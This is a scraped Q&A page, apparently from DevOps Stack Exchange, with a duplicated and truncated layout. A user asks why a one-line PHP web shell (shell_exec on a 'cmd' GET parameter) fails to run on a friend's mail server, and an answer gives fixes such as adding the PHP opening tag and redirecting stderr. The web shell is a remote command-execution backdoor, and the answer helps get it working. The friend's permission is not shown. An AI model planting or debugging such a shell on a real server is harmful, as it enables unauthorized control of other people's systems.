I am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability. Vulnerable code but unfortunately it doesn't seem to be running.
This is the script I wrote:
echo shell_exec($_GET['cmd']);
DevOps Stack Exchange is a question and answer site for software engineers working on automated testing, continuous delivery, service integration and monitoring, and building SDLC infrastructure. It only takes a minute to sign up.
Sign up to join this communityI am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability. Vulnerable code but unfortunately it doesn't seem to be running.
This is the script I wrote:
echo shell_exec($_GET['cmd']);
Please provide more information about the method and the result as Husyn asked, it may be more suited to programming SO if it is PHP related. Anyway:
<?php
should be present at the start of any PHP script.shell_exec
unless you add the stderr to stdout redirection 2>&
to the command, or use exec
.